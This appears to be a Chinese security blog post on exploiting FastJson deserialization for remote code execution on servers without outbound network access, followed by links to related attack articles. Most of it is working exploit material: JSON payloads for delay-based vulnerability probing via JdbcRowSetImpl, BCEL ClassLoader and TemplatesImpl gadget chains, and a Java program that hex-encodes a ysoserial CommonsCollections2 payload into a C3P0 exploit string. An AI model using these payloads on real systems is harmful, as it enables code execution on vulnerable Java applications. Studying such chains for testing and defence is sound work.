JAVA攻防-FastJson专题&面试不出网利用&BCEL字节码&C3P0二次&Impl链&延时判断

Ethan医生8个月前WEB安全276

 Java攻防-FastJson-不出网gadget链分析

#FastJson不出网利用:

参考:https://xz.aliyun.com/news/11938

参考:https://github.com/safe6Sec/Fastjson

 

总结:RCE不出网链全部是建立在将要执行的命令文件转成BCEL,BYTE,HEX等格式用到不同的依赖进行调用执行。


0、延时判断 是否存在漏洞

利用加载本地不存在的JNDI测试延时判断

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}

 

建立在不出网有漏洞:(不知道有无漏洞也可以测)

1、BCEL-Tomcat&Spring

利用Java的BCEL字节码进行绕过,字节码,就是Java源代码编译后的产物,它是一种中间代码,既不是完全的机器语言,也不是咱们写的那些高级语言代码。JVM(Java虚拟机)就是通过解释或编译这些字节码来运行咱们的程序。而BCEL字节码检测器是一个Java字节码操作库,可以用于分析、修改和创建Java类文件的字节码.

gadget链:

{

"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",

"driverClassLoader": {

"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"

},

"driverClassName": "$$BCEL$$xxxx"

}


2TemplatesImpl

条件:JSON.parseObject(payload, Feature.SupportNonPublicField);

{

"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

"_bytecodes": ["字节码"],

'_name': 'a.b',

'_tfactory': {},

"_outputProperties": {},

"_name": "b",

"_version": "1.0",

"allowedProtocols": "all"

}

 

3、c3p0链

目标服务器需要如下依赖

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version></dependency><dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version></dependency>



生成hex:java -jar ysoserial-all.jar CommonsCollections2 "open -a Calculator" > calc.ser

package com.exmple;import com.alibaba.fastjson.JSON;import com.mchange.lang.ByteUtils;import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;import java.io.*;import java.util.Arrays;public class C3P0Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("/Users/xxx/Desktop/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
        System.out.println(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }}


条件:依赖包

{

"@type": "java.lang.Class",

"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"

},

"f": {

"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",

"userOverridesAsString": "HexAsciiSerializedMap:;HEX值"

}

标签: FastJson专题

相关文章

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

1、什么是反序列化操作? - 类型转换- PHP & JavaEE & .NET & Python(见图)序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换...

Web攻防-大模型应用&LLM搭建&接入第三方&内容喂养&AI插件&安全WiKI库&技术赋能

Web攻防-大模型应用&LLM搭建&接入第三方&内容喂养&AI插件&安全WiKI库&技术赋能

Web2GPT 介绍Web2GPT 是由长亭科技推出的面向网站管理员的智能 AI 应用,可以将 传统网站 一键包装为 智能 AI 应用。Web2GPT 的读法是 Web...

JAVA攻防-专题漏洞&SPEL表达式&SSTI模版&Swagger接口&Actuator泄露&Spring特检

➢ Java攻防-常规漏洞-注入&RCE&XXE➢ Java攻防-常规漏洞-跳转&SSRF&FILE➢ Java攻防-专题漏洞-SPEL&...

XML&XXE&上传解析&文件预览&接口服务&白盒审计&应用功能&SRC复盘

#黑盒功能点案例1、不安全的图像读取-SVG2、不安全的文档转换-DOCX3、不安全的传递服务-SOAPSOAP 的典型使用场景✅ 适合 SOAP 的情况:需要严格的数据契约(如金融交易、医...

CSRF跨站请求伪造&Referer同源&Token校验&复用删除置空&联动上传或XSS

CSRF跨站请求伪造&Referer同源&Token校验&复用删除置空&联动上传或XSS

补充:XSS漏洞与CSRF区分主要区别目标:XSS攻击用户,CSRF攻击应用。执行位置:XSS在用户浏览器执行,CSRF在用户不知情时执行请求。防御措施:XSS防御侧重于输入过滤和输出编码,CSRF防...

RCE&代码执行&命令执行&无回显方案&语言表达式&黑盒功能点&白盒方法名

-RCE代码执行:引用脚本代码解析执行-RCE命令执行:脚本调用操作系统命令漏洞函数:1.PHP:PHP代码执行函数:eval()、assert()、preg_replace()、create_fun...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。